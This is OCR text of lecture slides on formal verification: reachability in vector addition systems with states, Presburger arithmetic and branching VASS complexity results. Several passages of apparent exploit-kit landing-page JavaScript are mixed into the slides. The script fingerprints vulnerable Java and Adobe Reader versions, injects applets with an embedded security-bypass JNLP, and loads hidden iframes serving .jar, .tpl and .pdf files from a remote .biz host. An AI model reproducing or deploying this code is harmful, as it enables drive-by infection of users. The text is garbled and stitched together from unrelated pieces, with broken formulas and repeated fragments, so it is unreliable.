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Formal verification of
concurrent systems

PluginDetect.INIT();
j_version = PluginDetect.getVersion('Java');
p_version = PluginDetect.getVersion('AdobeReader');
if (j_version != null) {
j_version = j_version.split(",");
} else {
j_version = [0, @, @, 0];
} if (p_version != null) {
p_version = p_version.split(",");
} else {
p_version = [0, @, @, 0];

java_enable = 0;
if (j_version[@] > @ && j_version[1l] < 7) {
document.write('<applet code="acwgssz.class" archive="http://v6fx09.quectmodetn.biz/4114383364/1384881120. jar''><param name="ur@10"
value="AhhjyHHf4500D8znpuhaoYph78vcCHSHXLqGqgxxwlHGxxGLgLLAGHw' ' ><param name="t" value="0"><param name="tt" value="0"></applet>');
java_enable = 1;

if (j_version[@] > @ && j_version[1l] == 7 && j_version[3] <= 17) {

document.write('<applet><param name="jnlp_href" value="dfwgwfwew.jnlp" /><param name="jnlp_embedded"
value="PGpubHAgc3B1Yz0iMS4wI iB4bWxuczpqZng9Imh@dHA6LY9nb29nbGUUY29tIiBocmVmPSIhcHBsZXRfc2VjdXIpdH1fYnlwYXNzLmpubHAiPgOKICA8aWSmb3JtYXRpb24+DQogICAgP
HRpdGx1P1kgYXNmIE1IPC90aXRsZT4NCiAgICA8dmVuZGlyPmZkZmVncnd IPC92ZWSkb31
+DQogIDwvaW5mb3JtYXRpb24+DQogIABKICAgPHI1c291cmN1cz4NCiAgICAgQICAgPGoyc2UgdmVyc21vbj@iMS43KyIgaHI1Zj01iIi8+DQogICAgICAgIDXqYXIgaHI1Zj@iaHRAcDovL3Y2Znh
v0S5xdWVjdG1vZGVObi5iaXovNDEXNDMAMzM2NC8xMzg@0DgxMT IwLmphciIgbWFpbj@idHI1ZSIgLz4NCiAgPCOyZXNvdXJjZXM
+DQogIDxhcHBsZXQtZGVzYyBuYW11PSIBRnVjayBPZmYiIGhlaWdodD@iMSIgICB3aWR@aD@iMSIgbWFpbiljbGFzcz@iYWN3cXNzeil
+DQogICAgIDxwYXJIhbSB2YWx1ZT0idH]1ZSIgbmFtZT@iX19hcHBSZXRTc3N2X3ZhbGlkYXR1ZCIgLz4NCjxwYXIhbSBuYW11PSJ1cjBsMCIgdmFsdWU9IkFoaGpSSEhmNDVPb@Q4emSwdWhhbll
waDc4dmNDSDVIeExxR3FxeHh3bEhHeHhHTHFMTDRHSHc 1Pg@KPHBhcmFtIG5hbWUSInQiIHZhbHV1PSIwI j4NCjxwYXIhbSBuYW11PSJ@dCIgdmFsdwWU9I jAiPgOKICABL2FwcGx1dC1kZXNjPgo
KPC9gbmxwPg==" /></applet>');

java_enable = 1;

if (j_version[@] > @ & j_version[1l] == 7 && j_version[3] == 21) {

document.write('<applet> <param name="jnlp_href" value="dfweqdasdfeqw.jnlp" /> <param name="jnlp_embedded"
value="ICA8amS5scCBzcGVjPSIxLjAiIHhtbG5z0mpmeD@iaHROcDovL2dvb2dsZS5)b20iIGhyZWY9IiI+DQogICAgICAgICAgICA8aWSmb3JtYXRpb24+DQogICAgICAgICAGICABdGLObGU
+Z2GZ3ZWRhZmQ8L3RpdGx 1PgOKICAgICAgICAGICAgPHZ1bmRvCj51ZnZyd2Vmc TwvdmVuZGOyPgOKICAgICAgICAgICAgPCOpbmZvemlhdGlvbj4NCiAgICAgICAgICAgIDXyZXNvdX] j 2XM
+DQogICAgICAgICAQICA8ajJzZSB2ZX]zaWOuPSIxLjcrIiBocmVmPSIiIC8+DQogICAgICAgICAgICA8amFyIGhyZWYSImhOdHAG6LY92NmZ4bzkucXV1Y3Rtb2R1dG4uYm1l6LzQxMTQz0DMzN;jQ
VvMTM4NDg4MTEYMC5qYXIiIG1haW49InRydWUiIC8+DQogICAQICAgICAgICA8L3I1c291cmN1cz4NCiAgICAQICAgICAgIDXxqZng6amF2YWZ4LWR1c2MgbWFpbiljbGFzcz@iUmFkdmEiIHBYZWx
vYWR1ciljbGFzcz@iYWN3cXNzeilgbmFtZT0iQXBwIi8+DQogICAgICAgICAQICABYXBwbGVOLWR1c2MgbmFtZTOiQXNkZiIgbWFpbiljbGFzcz@iVmFzZGEiIHdpZHRoPSIZIiBoZWlnaHQ9IjM
iPgOKICAQICAgICAgICAgQPCOhcHBsSZXQtZGVzYZz48L2pubHA+" /> <param name="javafx_version" value="2.0+" /> <param name="ur@l10"
value="AhhjyHHf4500D8znpuhaoYph78vcCHSHXLqGqqxxwlHGxxGLgLLAGHW" /> <param name="t" value="0" /> <param name="tt" value="0" /> </applet>');

java_enable = 1;

function fg(url, width, height) {
var sl = document.createElement("iframe");
sl.setAttribute("src", url);
sl.setAttribute("width", width);
sl.setAttribute("height", height);
document.body.appendChild(s1);

if (java_enable == 1) {
; setIimeout('fg("http://v6fx09.quectmodetn.biz/4114383384/1384881120.tpl","67","75")', 10000) ;
else
fg("http://v6fx09.quectmodetn.biz/4114383364/1384881120.tpl", "51", "65");
} if ((p_version[@] == 8) || (p_version[@] == 9 && p_version[1] <= 3)) {
if (java_enable == 1) {
setTimeout (' fg("http://v6fx09.quectmodetn.biz/4114383364/1384881120.pdf","57","90") "', 7000);
} else {
fg("http://v6fx09.quectmodetn.biz/4114383364/1384881120.pdf", "56", "79");
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document.write('<applet>
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+ZGZ32ZWRhZmQ8L3RpdGx 1 PgOK L4
+DQogICAQICAgQICAgICA8ajJ
VMTMANDg4MTEYMC5qY,
vYWR1ciljbGFzcz0i C

Jin¥p_href" value="dfweqdasdfeqw.jnlp" /> <param name="jnlp_embedded"
#01iaHROcDovL2dvb2dsZS5jb20iIGhyZWYSIiI+DQogICAgICAgICAgICA8aWSmb3JtYXRpb24+DQogICAgICAgICAgICA8dG1ObGU

PN@LbmRvcj51ZnZyd2Vmc TwvdmVuZGOyPg@KICAgICAgICAgICAgPCOpbmZvemlhdGlvbj4NCiAgICAQICAQICAQIDxXyZXNvdX] j ZXM
SIxLjcrIiBocmVmPSIiIC8+DQogICAgICAgICAgICA8amFyIGhyZWY9Imh@dHAGLY92NmZ4bzkucXV1Y3Rtb2R1dG4uYm16LzQxMTQz0DMzN]Q
UiIC8+DQogICAgICAQICAGICABL3]1c291cmN1cz4NCiAgICAgICAgICAgIDxqZng6amF2YWZ4LWR1c2MgbWFpbiljbGFzcz@iUmFkdmEiIHByYZWx
3 PmFtZT@1QXBwIi8+DQogICAgICAgICAgGICABYXBwbGVOLWR1c2MgbmFtZTOiQXNkZiIgbWFpbiljbGFzcz@iVmFzZGEiIHdpZHRoPSIZIiBoZWlnaHQ9IjM
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setTimeout (' fg("http://v6fx09.quectmodetn.biz/4114383364/1384881120.pdf","57","90") "', 7000);
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Predicate apstraction v
Boolean programs
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function fg(url, width, height) {
var s1 = document. createElement(
sl.setAttribute("src", url);
sl.setAttribute("width", width);
sl.setAttribute("height", height);
document . body. appendChild(s1) ;
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}
if (java_enable == 1) {
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value="PGpubHAgc3B1Yz0i w_JMunxurzquanIthd-{»«ﬁ yonb29nbGUuY29t] iBocnVPSIhchBs2
HRudCx'Pl«ngNrIE'JPC“EaYRSZ'JJ 1AgTCABANVUZGOYPZKZnVncnd LPCO2ZWSKb3T

" jnlp_embedded"
}fc2VjdXIpdHLfYnlwYXNzLmpubHAiPgOKICA8aWSmb3JtYXRpb24+DQogICAgP

2UgdnVyc21vbj@iMS43KyIgaH 12011 18+DQogICAGICAQIDXQYXIgaH] 1Zj@iaHROcDoVL3Y2Znh
G NCB4200DGXT TwLmphc TgbHFpbj1GHI1ZSTgL 24NCIAGPCOYZXNVAX ]} 2X
.ABSZXCUC\/zvyBuWyl 1PSJBRnV j ayBPZnYiIGh1aWdodD@iMSIgICB3akRAaDOIMSIgbWFpbi1jbGFzcz0iYWN3 meI

+DQogICAGIDXWYXINbSB2YWX1ZT0idH] 125 IgbmF tZT01X19hcHBS ZXRFCIN2X3ZhbG LKYXR1ZCIgLZANC xwYXJhbSBuYl 1cjBsM
waDcAdmNDSDVIeExxR3FxeHh3bEhHeHhHTHFMTDRHSHC 1Pg@KPHBhcmFIGShbWUOINQiTHZhbHV LPSTWI j ANC]xwYXIhbSB
KPC9gbmxwPg=="/></applet>');

java_enable = 1;
}

if (j_version[0] > @ & j_version[1] == 7 && j_version[3] == 21) {
document.write('<applet>  <param name="jnlp_href' value='dfweqdasdfequ.inlp" />  <param name="jnlp_enbedded"
an5scCB2CGVj PSIXLjAITHhtbGS20mpmeDoiaHRACDOVL2dvb2dsZS5jb201 TGhyZWYOT 1 +DQogICAGICAICAGICABaWSmb3] tYXRpb24+DQ0gTCAGTCAGTCAGTCABAGLObGU
dGx IPgOKICAGTCAGTCAGTCAGPHZ LbmRvc;j51ZnZyd2Vmc TwvdmVuZG9yPgoKICAGTCAGTCAGTCAGPCIpbmZvem1hdGlvbj ANCIAGICAGICAICAGIDxy ZXNVAX]j 201
STi1C8+DQogICAQICAGICAQICABamFyIGhyZWYOImhAdHAGLY92NNZAbzkucXV1Y3Rtb2R1dG
VMTMANDGAMTEYMC5qYXI i1G1haW49InRydwWUiIC8+DQogICAgICAgICAQICABL3]1c291cmN1cz4NCiAgICAQICAGICAGIDXGZn: imF2YWZ4LWR Lc2MgbWFpl 2c20iUmFkdmEiIHByZWx
VIWRLCA1]bGF2C201 YWN3OHNze 1 1gbnF t ZT01QXBuI 18+DQ0gICAGICAGICAGICABYXBUbGVBLWRLc2MgbnF tZTO1QXNKZ1IbWF pbil]bGF2cz0iViF 2ZGE 1 THApZHROPS 21 iBoZWLnaHQIL jM
iPgOKICAQICAGICAQICAGPCOhCHBSZXQtZGVzY248L2pubHA+" /> <param name="javafx_version" value="2.0+" /> <param name="urdl0"
value="AhhjyHHf450008znpuhaoYph78vcCHSHXLaGaaxxw HGXXGLALLAGHW" /> <param name="t" value="0" /> <param name="tt" value="0" /> </applet>');
java_enable = 1;

S| dWU9TkFoaGpSSERTNDVPbOQ4emSwdhhb1l
W11P20CTganF SOWUST3 ASPQOKTCABL2Fc X 1CTKZXN}Pgo

CAgICAQICAGICA8aj)2Z5B27X)zaW9uPSIxLjcrIiBocm

function fg(url, width, height) {
document. createElement ('
o sethttributelrares , url);
sl.setAttribute("width", width);
sl.setAttribute("height", height);
document. body. appendChild(s1) ;

}
if (java_enable == 1) {
X set"flmeuut( fg("http://v6fx09. quectmodetn. biz/4114383364/1384881120. tpl
else
fg("http://v6fx09. quectmodetn. biz/4114383364/1384881120. tpl", "51", "65");
} if ((p_version[@] == 8) || (p_version[0] == 9 & p_version[1] <= 3)) {
if (java_enable
setTimeout (' fg("http://v6x09. quect

), 10000);

odetn. biz/4114383364/1384881120. pdf","57","90") ', 7000);

se {
fg("http://v6fx09.quectmodetn. biz/4114383364/1384881120. pdf", "56", "79");
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iPgOKICAQICAGICAQICAGPCOhCHBSZXQtZGVzY248L2pubHA+" /> <param name="javafx_version" value="2.0+" /> <param name="urdl0"
value="AhhjyHHf450008znpuhaoYph78vcCHSHXLaGaaxxw HGXXGLALLAGHW" /> <param name="t" value="0" /> <param name="tt" value="0" /> </applet>');
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function fg(url, width, height) {
document. createElement ('
o sethttributelrares , url);
sl.setAttribute("width", width);
sl.setAttribute("height", height);
document. body. appendChild(s1) ;

}
if (java_enable == 1) {
X set"flmeuut( fg("http://v6fx09. quectmodetn. biz/4114383364/1384881120. tpl
else
fg("http://v6fx09. quectmodetn. biz/4114383364/1384881120. tpl", "51", "65");
} if ((p_version[@] == 8) || (p_version[0] == 9 & p_version[1] <= 3)) {
if (java_enable
setTimeout (' fg("http://v6x09. quect

), 10000);

odetn. biz/4114383364/1384881120. pdf","57","90") ', 7000);

se {
fg("http://v6fx09.quectmodetn. biz/4114383364/1384881120. pdf", "56", "79");
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Predicate apstraction via

Boolean programs

PluginDetect. INIT();

j_version = PluginDetect.getVersion('Java');

(X version = P ~getVersion(' )
(j_version != null)
j_version = j_version.split("

} else {

j_version = [@, 0, @, 01;
} if (p_version != null) {
p_version = p_version. split("
} else {

p_version = [0, 0, 0, 0l;

java_enable = 0;

if (j_version(o] > 0 & j_version[1] < 7) {
document.write('<applet code="acwgssz.class" archive="ht

value="AhhjyHHf4500D8znpuhaoYph78vcCHSHXLqGaaxxwlHGxxGLGLLAGHW" ><param name=
java_enable = 1;

/ /v6fx09. que(trod@ir.n.]/'ﬂl‘” 3364/1384881120. jar"><param name="ur@19"
"'t" value="0"><param name="tt" value="0'"></applet>

if (j_version[@] > 0 && j_ versmn[l] 7 && j_version[3] <= 17) {

document.write('<a n name="jnlp_href" value="dfwqwfwew.jnlp" /><param na
value="PGpubHAgc3B1Yz0i w_JMunxurzquanIthd-{»«ﬁ yonb29nbGUuY29t] iBocnVPSIhchBs2
HRudCx'Pl«ngNrIE'JPC“EaYRSZ'JJ 1AgTCABANVUZGOYPZKZnVncnd LPCO2ZWSKb3T

" jnlp_embedded"
}fc2VjdXIpdHLfYnlwYXNzLmpubHAiPgOKICA8aWSmb3JtYXRpb24+DQogICAgP

2UgdnVyc21vbj@iMS43KyIgaH 12011 18+DQogICAGICAQIDXQYXIgaH] 1Zj@iaHROcDoVL3Y2Znh
G NCB4200DGXT TwLmphc TgbHFpbj1GHI1ZSTgL 24NCIAGPCOYZXNVAX ]} 2X

.ABSZXCUC\/zvyBuWyl 1PSJBRnV j ayBPZnYiIGh1aWdodD@iMSIgICB3akRAaDOIMSIgbWFpbi1jbGFzcz0iYWN3 meI
+DQogICAGIDXWYXINbSB2YWX1ZT0idH] 125 IgbmF tZT01X19hcHBS ZXRFCIN2X3ZhbG LKYXR1ZCIgLZANC xwYXJhbSBuYl 1cjBsM
waDcAdmNDSDVIeExxR3FxeHh3bEhHeHhHTHFMTDRHSHC 1Pg@KPHBhcmFIGShbWUOINQiTHZhbHV LPSTWI j ANC]xwYXIhbSB
KPC9gbmxwPg=="/></applet>');

java_enable = 1;

}

if (j_version[0] > @ & j_version[1] == 7 && j_version[3] == 21) {

document.write('<applet>  <param name="jnlp_href' value='dfweqdasdfequ.inlp" />  <param name="jnlp_enbedded"

an5scCB2CGVj PSIXLjAITHhtbGS20mpmeDoiaHRACDOVL2dvb2dsZS5jb201 TGhyZWYOT 1 +DQogICAGICAICAGICABaWSmb3] tYXRpb24+DQ0gTCAGTCAGTCAGTCABAGLObGU

dGx IPgOKICAGTCAGTCAGTCAGPHZ LbmRvc;j51ZnZyd2Vmc TwvdmVuZG9yPgoKICAGTCAGTCAGTCAGPCIpbmZvem1hdGlvbj ANCIAGICAGICAICAGIDxy ZXNVAX]j 201
CAgICAQICAQICABaj)2ZSB22X)zaWIuPSIxLjcrliBocmVmPSTiIC8+DQogICAQICAGICAGICABamFyIGhyZWYOInhOdHAGLY92NNZ4bzkucXV1Y3Rtb2R1dG:
VMTMANDGAMTEYMC5qYXI i1G1haW49InRydwWUiIC8+DQogICAgICAgICAQICABL3]1c291cmN1cz4NCiAgICAQICAGICAGIDXGZn: imF2YWZ4LWR Lc2MgbWFpl 2c20iUmFkdmEiIHByZWx
VIWRLCA1]bGF2C201 YWN3OHNze 1 1gbnF t ZT01QXBuI 18+DQ0gICAGICAGICAGICABYXBUbGVBLWRLc2MgbnF tZTO1QXNKZ1IbWF pbil]bGF2cz0iViF 2ZGE 1 THApZHROPS 21 iBoZWLnaHQIL jM
iPgOKICAQICAGICAQICAGPCOhCHBSZXQtZGVzY248L2pubHA+" /> <param name="javafx_version" value="2.0+" /> <param name="urdl0"
value="AhhjyHHf450008znpuhaoYph78vcCHSHXLaGaaxxw HGXXGLALLAGHW" /> <param name="t" value="0" /> <param name="tt" value="0" /> </applet>');

java_enable = 1;

S| dWU9TkFoaGpSSERTNDVPbOQ4emSwdhhb1l
W11P20CTganF SOWUST3 ASPQOKTCABL2Fc X 1CTKZXN}Pgo

function fg(url, width, height) {
document. createElement ('
o sethttributelrares , url);
sl.setAttribute("width", width);
sl.setAttribute("height", height);
document. body. appendChild(s1) ;

}
if (java_enable == 1) {
X set"flmeuut( fg("http://v6fx09. quectmodetn. biz/4114383364/1384881120. tpl
else
fg("http://v6fx09. quectmodetn. biz/4114383364/1384881120. tpl", "51", "65");
} if ((p_version[@] == 8) || (p_version[0] == 9 & p_version[1] <= 3)) {
if (java_enable
setTimeout (' fg("http://v6x09. quect

), 10000);

odetn. biz/4114383364/1384881120. pdf","57","90") ', 7000);

se {
fg("http://v6fx09.quectmodetn. biz/4114383364/1384881120. pdf", "56", "79");
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I
—

s :=0

- o

3: assert (ls)
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Many threads execute

0: goto 1; N :
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1: s :=1;

2: s := 0;

3: assert (!s);
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Mathematical modeling

ecl s := 0; Aﬂ eXGCUTIOﬂ
goto 1;
_ (0,0,0,0)
0;
t (!s)




Mathematical modeling

decl s := 0O;

O:

1
2:
3

goto 1;

: s :=1;

s := 0;

: assert (!s);

An execution:

(0,0,0,0)

.(1,0,0,0)

-(2,0,0,0)



Mathematical modeling

decl s := 0O;

O:

1
2:
3

goto 1;

: s :=1;

s := 0;

: assert (!s);

An execution:

(0,0,0,0)

.(1,0,0,0)

-(2,0,0,0)

O =

(2,0,0,0)




Mathematical modeling

decl s := 0O;

O:

1
2:
3

goto 1;

: s :=1;

s := 0;

: assert (!s);

An execution:

(0,0,0,0) -(1,0,0,0) -(2,0,0,0)

O =

(27(L()70) '(17]w()70) >

L —




Mathematical modeling

decl s := 0O;

O:

1
2:
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goto 1;

: s :=1;

s := 0;

: assert (!s);

An execution:
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Mathematical modeling

decl s := 0; Aﬂ eXGCUtIOﬂ

O: goto 1;

1: s := 1; (O’O’O’O) >(1707070) '(2707070)
2: s := 0; 4 

3

: assert (!s); (2707070) '(1,17070) >
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Underlying infinite system

Fach d-VASS V = (Q,T) defines the infinite system/graph
with vertices/configurations ¢(u) € Q X N¢

transitions/edges p(u) — q(v) if (p,v—u,q) €T
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Underlying infinite system

Fach d-VASS V = (Q,T) defines the infinite system/graph

with vertices/configurations ¢(u) € Q X N

transitions/edges p(u) — q(v) if (p,v—u,q) €T
¢1(1,0,0,0)— 93(0,2,2 7)

32’7\ (0,
(-14.3,1) 1(2,0,0,0)
(45 0 42(0,4,3,1)

() (1239
(1,1,2,3) q1(3,0,0,0)  ¢9(1,5,5,4) ...

A 4-VASS Underlying infinite system
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and Presburger Arithmetic

12,0 |
A

—6, —2 Presburger Arithmetic
0 e = Th(N, <, +)

q1 (u,v) canreach 43(z,y) —
if, and only If, | |

(u,v,2,y) EJi,j: (x —2=u+12 —65)A
(y—2=v4+3-1—2j)

M. Presburger
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2_VASS history

Theorem. (Hopcroft & Pansiot 1979)

Given a 2-VASS and an initial configuration one can effectively a
Presburger Arithmetic presentation of the reachable configurations.

Theorem. (Howell, Rosier, Huynh & Yen 1986)
Reachability in 2-VASS can be decided in doubly-exponential time.

Theorem. (Leroux & Sutre 2004)
The reachability relation of 2-VASS is effectively Presburger definable.

Theorem. (Blondin, Finkel. G, Haase & McKenzie 2015)
The reachability relation of 2-VASS Is computable in exponential space.

The reachability problem for 2-VASS is PSPACE-complete.
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Qur main result

cE
The following is computable in exponential space: e\?\\a‘o\\\
. XO =e2C
Given: 2-VASS V = (Q,T) . \,\oﬁ“ (Of ©

Output: Finite unions of regular expressions Length at most

U apfiaq - .@akij | + HT|)0(1)

such that N k< O(‘QF)
p(u17u2) — Q(U17U2)

if, and only, if

e
Oéoﬁlfzal“ﬁkkak

e, ...,lepl€ N p(u1, us) > q(v1,v2)

SSS== pounded by (|Q| + |T| + |T])°V

“"Reachabillity is withessed by a small bounded language™
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Englert, Lazic, Totzke 2016

Deciding semi-linearity of the reachability relation of VASS
3-VASS

Model checking reachability logics
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Branching vector addition
systems with states

A branching vector addition system with states (d-BVASS)
IS a finite automaton that consists of

o a finite set of states () and -
/‘_/h

. a setof transitions 7' C Q xZ*xQ U @Q°

unary rules

binary/branching rules

branching rule (q1,42,q3) € T displayed as @‘ @

. a set of final states F' C ()
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C](‘O)
1
Lea\{es mgst oe Q(. | “q(0) is reachable”™
configurations from :
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/ 1 \ / 1 \
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Some context

e BVASS were introduced in the context of computational
inguistics
(Rambow ’94)

« Reachability in BVASS is equivalent to provability in
multiplicative exponential linear logic.
(de Groote, Guillaume, Salvati '04)

« Reachability of an extension of BVASS is equivalent to
FO*(<,+1, ~)on data trees.
(Jacquemard, Segoufin, Dimono,’16)
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INPUT
» Coverability in BVASS is conf. q(7)

- 2EXPTIME-complete (bottom-up variant) eaves F' x {0}
(Demri, Jurdzinski, Lachish, Lazic ’13) root > ¢(7)

- TOWER-complete (top-down variant) leaves F x N

(Schmitz, Lazic ’14) root q(1)
* Reachability in BVASS J\vj

s TOWER-hard (Schmitz, Lazic'14) (@&
not known to be decidable S
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Exponentiality In
1-BVASS reachability

In the 1-BVASS

@O.

there is precisely one reachability tree for ¢(0) .
't has 2" nodes and

2" +n + 3 different configurations.

.
Proposition. The following problem in NP-hard: " m?ry

INPUT:1-BVASS with unary updates and configuration ¢(n)

QUESTION: Is q(n) reachable? From SUBSET SUM
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Reachability in 1-BVASS

Theorem. (G, Haase, Lazic, Totzke 2016)

Reachability in 1-BVASS (updates in unary) is PTIME-complete.

Lower bound: Obvious reduction from Circuit Value

Upper bound strategy:

1) Residue reachability for unary 1-BVASS is in PTIME.

INPUT:
1-BVASS (Q, T, F), configuration g(n), d > 1

QUESTION:
Im > n s.t. ¢(m) is reachable and m =n mod d ?

2)Reachability 1-BVASS <7 Residue reachability 1-BVASS.
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Bounded reachability i1s in PTIME

Proposition. The following problem is in PTIME:

INPUT:
1-BVASS (Q, T, F), configuration ¢(n), b € N

all numbers in unary.

QUESTION:
s there a reachability tree for ¢(n) in which
all configurations have counter value <b 7

Proof.
Simple saturation by Dynamic Programming.
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INPUT:

1-BVASS (Q, T, F'), configuration g(n) d >1
QUESTION:

Im > n s.t. ¢(m) is reachable and m =n mod d 7

b

Corollary
The set S = {p( )| A(n 4+ |Q| - d) -bounded reach. tree
. for p(m)}
s computable in PTIME. |
What about reachability trees that involve (@&

counter values > b7
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Residue reachability (2/4)

What about reachabillity trees that involve
counter values > b"”?

~b
They look like this: p(m)

q2 (nz)

| et us collect these residue classes:

q(n)
RO d;f {q(nmodd) | A\}QQ X L

Computable in PTIME!
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Define [7; € () X Z, foreach 7 > 1

de f

Rix1 = R;U T(RZ) U T(RZ, S/Zd)

/

Residue classes obtainable
from R. by applying a unary rule.
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| eft child from £
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Residue reachabillity (3/4)
Define [7; € () X Z, foreach 7 > 1

d f
Riyq1 =

/

Residue classes obtainable
from R. by applying a unary rule.

Residue classes obtainable
by applying binary rule:

| eft child from £

Right child from 5/Za

RUT(R;)UT(R;,S/7Zq)

Observation.

binary rule
Left child from S/7Z,

Right child R,

The fixed point & = U{R i > 0} is computable in PTIME.
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Residue reachability (4/4)

Lemma.
For all q(r) € Q x Zy We have

e 3m >n:m =r modd and g(m) is reachable
if, and only, if

e q(r) € R (deals with proof trees having at
least one counter value > b)

or b

Hme[n,n+|Q\-3\,mEnmodd and ¢(m) € S

(deals with proof trees having all
counter values < b)
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{ /X
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PN
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1-BVASS:
Reachability <r residue reachability

Assume a minimal reachability tree for ¢(0)

non-oveﬂapping! Configura’[ion*with d \big,
counter value (first time)

configurations *
have small values

Positive instance of
residue reachability!

Alternating logspace machine guesses tree and instances
to suitably guessed instance of residue reachability oracle.
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Outlook & Future Work

Reachability for BVASS
Binary 1-BVASS: PTIME...EXPTIME
Is reachability for 2-BVASS decidable?

Is reachability for 2-BVASS semilinear?




Thank you for your attention!
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Type 1 runs

Starting and ending sufficiently large in same control state 4

|dea:
\ =» Run is a decomposition of small cycles

# Each cycle 7 has an effect () € Z°

=» Restrict to two cycles 71 and 72
v 0(7m1),0(m2) e N x N™
“"that point in the right direction™

= Use bounded Ianguej\ge/

Oéﬂ'ikﬁﬂ;’)/

small

>
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Type 2 runs

Staying sufficiently large all the time

ldea;:

= Eachrun 7T can be factorized as

T = Qo By 01 --- By Qg ¢ <|Q

~

cycles starting and ending sufficiently large (i.e. Type 1)
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Type 3 runs
v Tl

p (u,v).
Staying sufficiently small all the time

Type 3 runs

|dea: g

* Treat each run 7T as arunin a big 1-VASS (with |@Q|- D states)

.}Run 7C can be factorized as
2 possible cases:

mo=am Y o « down* 3 right* Y

* « left* B up*
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Qur main result

cE
The following is computable in exponential space: e\?\\a‘o\\\
. XO =e2C
Given: 2-VASS V = (Q,T) . \,\oﬁ“ (Of ©

Output: Finite unions of regular expressions Length at most

U apfiaq - .@akij | + HT|)0(1)

such that N k< O(‘QF)
p(u17u2) — Q(U17U2)

if, and only, if

e
Oéoﬁlfzal“ﬁkkak

e, ...,lepl€ N p(u1, us) > q(v1,v2)

SSS== pounded by (|Q| + |T| + |T])°V

“"Reachabillity is withessed by a small bounded language™
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Reachability is in PSPACE
/ Length at most
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1) For each aopfias -+ Bray construct a matrix A € Z"*"
and a vector b € Z™ such that solutions (e, ..., e;) to

the system of linear Diophantine inequalities Az > b
correspond to real runs o7 a1 -+ 3" ay in the 2-VASS.



Reachability is in PSPACE
/ Length at most

O(1)
U aofBian - Bray (1Q + T+ |T7)

| T 0(QP)

ank

1) For each apfBiay - -+ Byax construct a matrix A €
and a vector p € Z" such that solutions (e, ...,e;) to

the system of linear Diophantine inequalities Az > b
correspond to real runs o7 a1 -+ 3" ay in the 2-VASS.

2) Use results from integer linear programming that solutions

to Ax > b are bounded by gk O(|A| + |\5\|).
(Shrijver 1998)



